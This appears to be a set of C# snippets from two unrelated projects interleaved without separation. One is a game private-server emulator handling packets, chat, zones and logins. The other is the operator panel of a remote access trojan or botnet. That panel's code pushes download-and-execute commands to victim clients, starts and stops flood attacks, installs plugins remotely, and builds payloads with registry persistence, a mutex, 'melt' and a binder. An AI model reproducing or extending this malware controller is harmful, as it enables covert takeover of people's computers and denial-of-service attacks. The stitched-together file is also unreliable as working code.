public override byte[] GenerateSpawnBlob()
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(Header);
writer.WritePosition(Position);
writer.Write((UInt16)0);
writer.WriteFixedLengthASCII(Name, 0x20);
writer.Write(0); // Padding?
writer.Write(new byte[0xC]); // Unknown, usually zero
writer.Write((UInt16)0);
writer.Write((UInt16)0);
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)1101004800); // Always this
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)1);
writer.WriteMagic(1, 0x9FCD, 0xE7);
writer.Write((UInt32)0);
return writer.ToArray();
}
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
var writer = new PacketWriter();
writer.Write((uint) 0);
context.SendPacket(0x11, 0x55, 0x0, writer.ToArray());
}
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
if (context.Character == null)
return;
var reader = new PacketReader(data, position, size);
reader.BaseStream.Seek(0xC, SeekOrigin.Begin);
var channel = reader.ReadUInt32();
var message = reader.ReadUtf16(0x9D3F, 0x44);
if (message.StartsWith(PolarisApp.Config.CommandPrefix))
{
var valid = false;
// Iterate commands
foreach (var command in PolarisApp.ConsoleSystem.Commands)
{
var full = message.Substring(1); // Strip the command chars
var args = full.Split(' ');
if (command.Names.Any(name => args[0].ToLower() == name.ToLower()))
{
command.Run(args, args.Length, full, context);
valid = true;
Logger.WriteCommand(null, "[CMD] {0} issued command {1}", context.User.Username, full);
}
if (valid)
break;
}
if (!valid)
Logger.WriteClient(context, "[CMD] {0} - Command not found", message.Split(' ')[0].Trim('\r'));
}
else
{
Logger.Write("[CHT] <{0}> <{1}>", context.Character.Name, message);
var writer = new PacketWriter();
writer.WritePlayerHeader((uint) context.User.PlayerId);
writer.Write(channel);
writer.WriteUtf16(message, 0x9D3F, 0x44);
data = writer.ToArray();
foreach (var c in Server.Instance.Clients)
{
if (c.Character == null || c.CurrentZone != context.CurrentZone)
continue;
c.SendPacket(0x07, 0x00, 0x44, data);
}
}
}
private void DoBlockBalance(Socket socket)
{
var writer = new PacketWriter();
writer.WriteStruct(new PacketHeader(0x90, 0x11, 0x2C, 0x0, 0x0));
writer.Write(new byte[0x68 - 8]);
writer.Write(PolarisApp.BindAddress.GetAddressBytes());
writer.Write((UInt16)12205);
writer.Write(new byte[0x90 - 0x6A]);
socket.Send(writer.ToArray());
socket.Close();
}
public Client(Server server, SocketClient socket)
{
IsClosed = false;
_server = server;
Socket = socket;
socket.DataReceived += HandleDataReceived;
socket.ConnectionLost += HandleConnectionLost;
_readBuffer = new byte[1024 * 64];
_readBufferSize = 0;
InputArc4 = null;
OutputArc4 = null;
var welcome = new PacketWriter();
welcome.Write((ushort)3);
welcome.Write((ushort)201);
welcome.Write((ushort)0);
welcome.Write((ushort)0);
SendPacket(0x03, 0x08, 0, welcome.ToArray());
}
public virtual byte[] GenerateSpawnBlob()
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(Header);
writer.Write(Position);
writer.Seek(2, SeekOrigin.Current); // Padding I guess...
writer.WriteFixedLengthASCII(Name, 0x34);
writer.Write(ThingFlag);
writer.Write(Things.Length);
foreach (PSOObjectThing thing in Things)
{
writer.WriteStruct(thing);
}
return writer.ToArray();
}
void SendPlugins(List<byte[]> pluginList)
{
new Thread(delegate()
{
for (int i = 0; i < pluginList.Count; i++)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_STORE);
w.Write(pluginList[i].Length);
w.Write(pluginList[i]);
Send(w.ToArray(true));
}
}).Start();
}
private void transferToolStripMenuItem_Click(object sender, EventArgs e)
{
using (SaveFileDialog d = new SaveFileDialog())
{
d.Filter = "DLL |*.dll";
d.FileName = lstPlugins.SelectedItems[0].Text;
if (d.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_GET);
w.Write(1);
w.Write(lstPlugins.SelectedItems[0].Tag.ToString());
w.Write(d.FileName);
((Client)xClients.SelectedNode.Tag).Send(w.ToArray(true));
//DataWriter w = new DataWriter();
//w.Write(lstPluginData.SelectedItems[0].Tag.ToString());
//w.Write(d.FileName);
//((Client)treeClients.SelectedNode.Tag).Send(new Packet(Client.Header.PLUGIN_TRANSFER, w.GetBytes()));
}
}
}
/// <summary>
/// Spawns a client into a map at a given location
/// </summary>
/// <param name="c">Client to spawn into map</param>
/// <param name="location">Location to spawn client at</param>
/// <param name="questOveride">If this also sets the quest data, specify the quest name here to load the spawn from the bin rather then generate it.</param>
public void SpawnClient(Client c, PSOLocation location, string questOveride = "")
{
if (Clients.Contains(c))
{
return;
}
// Set area
if (questOveride != "") // TODO: This is a temporary hack, fix me!!
{
var setAreaPacket = File.ReadAllBytes("Resources/quests/" + questOveride + ".bin");
c.SendPacket(0x03, 0x24, 4, setAreaPacket);
}
else
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(new ObjectHeader(3, EntityType.Map));
writer.WriteStruct(new ObjectHeader((uint)c.User.PlayerId, EntityType.Player));
writer.Write(0x1); // 8 Zeros
writer.Write(0); // 8 Zeros
writer.Write(~(uint)Type); // F4 FF FF FF
writer.Write(MapID); // Map ID maybe
writer.Write((uint)Flags);
writer.Write(GenerationArgs.seed); // 81 8F E6 19 (Maybe seed)
writer.Write(VariantID); // Randomgen enable / disable maybe
writer.Write(GenerationArgs.xsize); // X Size
writer.Write(GenerationArgs.ysize); // Y Size
writer.Write(1);
writer.Write(1);
writer.Write(~0); // FF FF FF FF FF FF FF FF
writer.Write(0x301);
c.SendPacket(0x3, 0x0, 0x0, writer.ToArray());
}
if (c.CurrentZone != null)
{
c.CurrentZone.RemoveClient(c);
}
var setPlayerId = new PacketWriter();
setPlayerId.WritePlayerHeader((uint)c.User.PlayerId);
c.SendPacket(0x06, 0x00, 0, setPlayerId.ToArray());
// Spawn Character
c.SendPacket(new CharacterSpawnPacket(c.Character, location));
c.CurrentLocation = location;
c.CurrentZone = this;
// Objects
foreach (PSOObject obj in Objects)
{
c.SendPacket(0x08, 0x0B, 0x0, obj.GenerateSpawnBlob());
}
// NPCs
foreach (PSONPC npc in NPCs)
{
c.SendPacket(0x08, 0xC, 0x4, npc.GenerateSpawnBlob());
}
// Spawn for others, Spawn others for me
CharacterSpawnPacket spawnMe = new CharacterSpawnPacket(c.Character, location, false);
foreach (Client other in Clients)
{
other.SendPacket(spawnMe);
c.SendPacket(new CharacterSpawnPacket(other.Character, other.CurrentLocation, false));
}
// Unlock Controls
c.SendPacket(new NoPayloadPacket(0x03, 0x2B)); // Inital spawn only, move this!
Clients.Add(c);
Logger.Write("[MAP] {0} has spawned in {1}.", c.User.Username, Name);
if (InstanceName != null && ZoneManager.Instance.playerCounter.ContainsKey(InstanceName))
{
ZoneManager.Instance.playerCounter[InstanceName] += 1;
}
}
void client_DataReceived(object sender, DataReceivedEventArgs e)
{
Client client = (Client)sender;
//try
//{
switch (e.Header)
{
case (int)PacketHeader.PASSWORD:
{
PacketWriter w = new PacketWriter();
string pass = e.Reader.ReadString();
if (Settings.Passwords.Contains(pass) || pass == string.Empty || pass == "")
{
w.Write((int)PacketHeader.PASSWORD_ACCEPT);
}
else
{
w.Write((int)PacketHeader.PASSWORD_DENIED);
Invoke((MethodInvoker)delegate
{
GlobalProperties.NI.ShowBalloonTip(1500, "Invalid Password", "The client was disconnected due to wrong password", ToolTipIcon.Error);
});
client.DisconnectNotify = false;
}
client.Send(w.ToArray(true));
w = null;
}
break;
case (int)PacketHeader.INFORMATION:
{
if (Settings.Limit != 0)
{
if (GlobalProperties.Online == Settings.Limit)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.LIMIT);
client.Send(w.ToArray(true));
w = null;
Invoke((MethodInvoker)delegate
{
GlobalProperties.NI.ShowBalloonTip(2000, "Limit Reached", "New client will be disconnected due to connection limit", ToolTipIcon.Warning);
});
break;
}
}
GlobalProperties.Online++;
client.Lvi.SubItems.Add(client.KeyboardCountry = e.Reader.ReadString());
if (countryByGeoIPToolStripMenuItem.Checked)
client.Lvi.SubItems[1].Text = geoIp.lookupCountryName(client.Address.ToString().Split(':')[0]);
client.Lvi.SubItems.Add(Parser.GetOS(e.Reader.ReadString()));
client.Lvi.SubItems.Add("Idle");
client.Lvi.SubItems.Add(e.Reader.ReadString());
client.Lvi.SubItems.Add("UKN");
client.Lvi.SubItems.Add(client.Socket.Port.ToString());
client.Lvi.ImageIndex = Functions.GetCountryIndex(client.Lvi.SubItems[1].Text, flags);
Invoke((MethodInvoker)delegate
{
client.FullyConnected = true;
if (xHideIPs.Checked)
client.Lvi.Text = string.Empty;
lstClients.Items.Add(client.Lvi);
if (scrollToLatestToolStripMenuItem.Checked)
client.Lvi.EnsureVisible();
if (Settings.NotifyConnected)
GlobalProperties.NI.ShowBalloonTip(3000, "Connection", string.Format("IP Address: {0}\nCountry: {1}\nOS: {2}\nVersion: {3}\nPort: {4}", (!xHideIPs.Checked ? client.Lvi.Text : "HIDDEN"), client.Lvi.SubItems[1].Text, client.Lvi.SubItems[2].Text, client.Lvi.SubItems[4].Text, client.Lvi.SubItems[6].Text), ToolTipIcon.Info);
});
if (Settings.LogDisconnected)
EventLogger.LogEvent("Connection", (!xHideIPs.Checked ? client.Lvi.Text : "Client") + " Connected");
if (GlobalProperties.Online > peak)
{
peak = GlobalProperties.Online;
updatePeak();
}
if (GlobalProperties.Online > total)
{
total = GlobalProperties.Online;
updateTotal();
}
updateOnline();
if (FloodPacket != null)
client.Send(FloodPacket);
}
break;
case (int)PacketHeader.STATUS:
try
{
client.SetStatus(Parser.GetStatus(e.Reader.ReadInt32(), e.Reader.ReadInt32()));
}
catch { }
break;
case (int)PacketHeader.PLUGIN_STATUS:
{
try
{
Guid guid = new Guid(e.Reader.ReadString());
int code = e.Reader.ReadInt32();
string add = e.Reader.ReadString();
client.SetStatus(Parser.GetPluginStatus(guid, code, add));
}
catch { }
}
break;
case (int)PacketHeader.PLUGIN_DATA:
{
try
{
int len = e.Reader.ReadInt32();
PluginArgs args = Serializer.Deserialize(e.Reader.ReadBytes(len));
GlobalProperties.InitializedPlugins[args.PluginGuid].OnReceived(args);
}
catch { }
}
break;
case (int)PacketHeader.SPEED:
{
try
{
Invoke((MethodInvoker)delegate
{
client.Lvi.SubItems[5].Text = e.Reader.ReadDouble().ToString() + " KB/SEC";
});
string speed = Parser.GetTotalSpeed(Clients);
Invoke((MethodInvoker)delegate
{
lblTotalSpeed.Text = "Total Speed: " + speed;
});
}
catch { }
}
break;
case (int)PacketHeader.CONFIRM:
{
client.Alive = true;
client.SendPing();
}
break;
}
received += e.Length;
updateReceived();
//}
//catch { }
if ((PacketHeader)e.Header != PacketHeader.PLUGIN_GET && (PacketHeader)e.Header != PacketHeader.PLUGIN_REMOVE && pluginView == null)
e.Reader.Close();
}
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.UNINSTALL);
if (allToolStripMenuItem.Checked)
{
if (MessageBox.Show("This will uninstall all Clients.\n\nAre you sure?", "PERMEMENT ACTION", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == System.Windows.Forms.DialogResult.Yes)
{
Send(w.ToArray(true));
}
}
else
{
if (lstClients.SelectedItems.Count < 1)
return;
if (MessageBox.Show(string.Format("This will uninstall {0} Client(s).\n\nAre you sure?", lstClients.SelectedItems.Count), "PERMEMENT ACTION", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == System.Windows.Forms.DialogResult.Yes)
{
Send(w.ToArray(true));
}
}
w = null;
}
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
var reader = new PacketReader(data, position, size);
var clientTime = reader.ReadUInt64();
var writer = new PacketWriter();
writer.Write(clientTime);
writer.Write(Helper.Timestamp(DateTime.UtcNow));
context.SendPacket(0x11, 0xE, 0, writer.ToArray());
}
void xClients_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)
{
TreeNode Node = e.Node;
lstPlugins.Items.Clear();
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_GET);
w.Write(0);
((Client)Node.Tag).Send(w.ToArray(true));
}
private void RunLUA(string[] args, int length, string full, Client client)
{
if (client == null)
{
var id = Helper.FindPlayerByUsername(args[1]);
if (id == -1)
return;
client = PolarisApp.Instance.Server.Clients[id];
}
else
{
string[] newargs = new string[args.Length + 1];
newargs[0] = "";
newargs[1] = "";
Array.Copy(args, 1, newargs, 2, args.Length - 1);
args = newargs;
}
PacketWriter luaPacket = new PacketWriter();
luaPacket.Write((UInt16)1);
luaPacket.Write((UInt16)1);
luaPacket.WriteAscii(String.Join(" ", args, 2, args.Length - 2), 0xD975, 0x2F);
client.SendPacket(0x10, 0x3, 0x4, luaPacket.ToArray());
}
private void downloadExecuteToolStripMenuItem_Click(object sender, EventArgs e)
{
using (DownloadEx ex = new DownloadEx())
{
if (ex.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.DOWNLOAD_EX);
w.Write(ex.IsUrl);
w.Write(ex.ExecuteOnly);
w.Write(ex.UpdatePassword);
w.Write(ex.FileLocation);
if (!ex.IsUrl)
{
byte[] b = File.ReadAllBytes(ex.FileLocation);
w.Write(b.Length);
w.Write(b);
}
Send(w.ToArray(true));
}
}
}
void Build()
{
PacketWriter w = new PacketWriter();
w.Write((int)Header.BUILD);
w.Write(txtHost.Text);
w.Write(int.Parse(txtPort.Text));
w.Write(xBackup.Checked);
w.Write(txtBackupHost.Text);
w.Write(int.Parse(txtBackupPort.Text));
w.Write(txtPassword.Text);
w.Write(txtUpdatePassword.Text);
w.Write(xInstall.Checked);
w.Write(xHKCU.Checked);
w.Write(txtHKCU.Text);
w.Write(xHKLM.Checked);
w.Write(txtHKLM.Text);
w.Write(txtFolderName.Text);
w.Write(txtFilename.Text);
w.Write(txtPluginStoreLoc.Text);
w.Write(txtPluginStoreName.Text);
w.Write(txtMutex.Text);
w.Write(xVisMode.Checked);
w.Write(xShowConsole.Checked);
w.Write(xMelt.Checked);
w.Write((lstBinder.Items.Count > 0) ? true : false);
w.Write((lstPlugins.CheckedItems.Count > 0) ? true : false);
IAssembly asm = GlobalProperties.BuildAssembly;
w.Write((asm == null) ? false : true);
if (asm != null)
{
w.Write(asm.Title);
w.Write(asm.Description);
w.Write(asm.Configuration);
w.Write(asm.Company);
w.Write(asm.Title);
w.Write(asm.Copyright);
w.Write(asm.Culture);
w.Write(asm.Guid);
w.Write(asm.AssemblyVersion);
w.Write(asm.AssemblyFileVersion);
}
string args = "/filealign:512 /platform:anycpu";
if (!xShowConsole.Checked)
args += " /target:winexe";
//else
// args += " /debug";
w.Write(args);
Console.WriteLine(GlobalProperties.Client.Send(w.ToArray(true)));
}
void FloodTimer_TimerFinished(object sender, EventArgs e)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.FLOOD_STOP);
Send(w.ToArray(true));
Invoke((MethodInvoker)delegate
{
lblFloodTimer.Text = "Flood Timer: 00:00:00";
lblFloodTimer.ForeColor = Color.Black;
});
}
public void RemoveClient(Client c)
{
if (!Clients.Contains(c))
return;
c.CurrentZone = null;
Clients.Remove(c);
foreach (Client other in Clients)
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(new ObjectHeader((uint)other.User.PlayerId, EntityType.Player));
writer.WriteStruct(new ObjectHeader((uint)c.User.PlayerId, EntityType.Player));
other.SendPacket(0x4, 0x3B, 0x40, writer.ToArray());
}
if (InstanceName != null && ZoneManager.Instance.playerCounter.ContainsKey(InstanceName))
{
ZoneManager.Instance.playerCounter[InstanceName] -= 1;
if (ZoneManager.Instance.playerCounter[InstanceName] <= 0)
{
ZoneManager.Instance.playerCounter.Remove(InstanceName);
ZoneManager.Instance.instances.Remove(InstanceName);
}
}
}
void listener_SocketAccepted(object sender, SocketConnectedEventArgs e)
{
Client client = new Client(e.AcceptedSocket);
string addr = client.Address.Split(':')[0];
if (Settings.DupPrevnt)
{
if (conAddr.Contains(addr))
{
PacketWriter wr = new PacketWriter();
wr.Write((int)PacketHeader.LIMIT);
client.Send(wr.ToArray(true));
wr = null;
Invoke((MethodInvoker)delegate
{
GlobalProperties.NI.ShowBalloonTip(2000, "Duplication Prevention", "A client has been disconnected to prevent duplication.", ToolTipIcon.Error);
});
client.Close();
return;
}
else
conAddr.Add(addr);
}
Clients.Add(client);
client.Disconnected += new Client.DisconnectedEventHandler(client_Disconnected);
client.DataSent += new EventHandler<DataSentEventArgs>(client_DataSent);
client.DataReceived += new EventHandler<DataReceivedEventArgs>(client_DataReceived);
client.BeginRead();
}
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
var reader = new PacketReader(data, position, size);
reader.BaseStream.Seek(0x2C, SeekOrigin.Current);
var macCount = reader.ReadMagic(0x5E6, 107);
reader.BaseStream.Seek(0x1C * macCount, SeekOrigin.Current);
reader.BaseStream.Seek(0x138, SeekOrigin.Current);
var username = reader.ReadFixedLengthAscii(64);
var password = reader.ReadFixedLengthAscii(64);
// What am I doing here even
using (var db = new PolarisEf())
{
var users = from u in db.Players
where u.Username.ToLower().Equals(username.ToLower())
select u;
var error = "";
Player user;
if (!users.Any())
{
// Check if there is an empty field
if (string.IsNullOrWhiteSpace(username) || string.IsNullOrWhiteSpace(password))
{
error = "Username and password fields must not be empty.";
user = null;
}
// Check for special characters
else if (!Regex.IsMatch(username, "^[a-zA-Z0-9 ]*$", RegexOptions.IgnoreCase))
{
error = "Username must not contain special characters.\nPlease use letters and numbers only.";
user = null;
}
else // We're all good!
{
// Insert new player into database
user = new Player
{
Username = username.ToLower(),
Password = BCrypt.Net.BCrypt.HashPassword(password),
Nickname = username.ToLower(),
// Since we can't display the nickname prompt yet, just default it to the username
SettingsIni = File.ReadAllText("Resources/settings.txt")
};
db.Players.Add(user);
db.SaveChanges();
// context.SendPacket(0x11, 0x1e, 0x0, new byte[0x44]); // Request nickname
}
}
else
{
user = users.First();
if (!BCrypt.Net.BCrypt.Verify(password, user.Password))
{
error = "Incorrect password.";
user = null;
}
}
/* Mystery packet
var mystery = new PacketWriter();
mystery.Write((uint)100);
SendPacket(0x11, 0x49, 0, mystery.ToArray()); */
// Login response packet
context.SendPacket(new LoginDataPacket("Polaris Block 1", error, (user == null) ? (uint)0 : (uint)user.PlayerId));
if (user == null)
return;
// Settings packet
var settings = new PacketWriter();
settings.WriteAscii(user.SettingsIni, 0x54AF, 0x100);
context.SendPacket(0x2B, 2, 4, settings.ToArray());
context.User = user;
}
if (PolarisApp.Config.motd != "")
{
context.SendPacket(new SystemMessagePacket(PolarisApp.Config.motd, SystemMessagePacket.MessageType.AdminMessageInstant));
}
}
void plugin_DataReady(object sender, PluginArgs e)
{
byte[] data = Serializer.Serialize(e);
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_EXECUTE);
w.Write(data.Length);
w.Write(data);
Send(w.ToArray(true));
}
private void DoShipList(Socket socket)
{
var writer = new PacketWriter();
var entries = new List<ShipEntry>();
for (var i = 1; i < 11; i++)
{
var entry = new ShipEntry
{
order = (ushort)i,
number = (uint)i,
status = ShipStatus.Online,
name = String.Format("Ship{0:0#}", i),
ip = PolarisApp.BindAddress.GetAddressBytes()
};
entries.Add(entry);
}
writer.WriteStruct(new PacketHeader(Marshal.SizeOf(typeof(ShipEntry)) * entries.Count + 12, 0x11, 0x3D, 0x4,
0x0));
writer.WriteMagic((uint)entries.Count, 0xE418, 81);
foreach (var entry in entries)
writer.WriteStruct(entry);
writer.Write((Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds);
writer.Write(1);
socket.Send(writer.ToArray());
socket.Close();
}
private void removeToolStripMenuItem_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Are you sure?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != System.Windows.Forms.DialogResult.Yes)
return;
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_REMOVE);
w.Write(lstPlugins.SelectedItems[0].Tag.ToString());
((Client)xClients.SelectedNode.Tag).Send(w.ToArray(true));
//DataWriter w = new DataWriter();
//w.Write(lstPluginData.SelectedItems[0].Tag.ToString());
//((Client)treeClients.SelectedNode.Tag).Send(new Packet(Client.Header.PLUGIN_REMOVE, w.GetBytes()));
}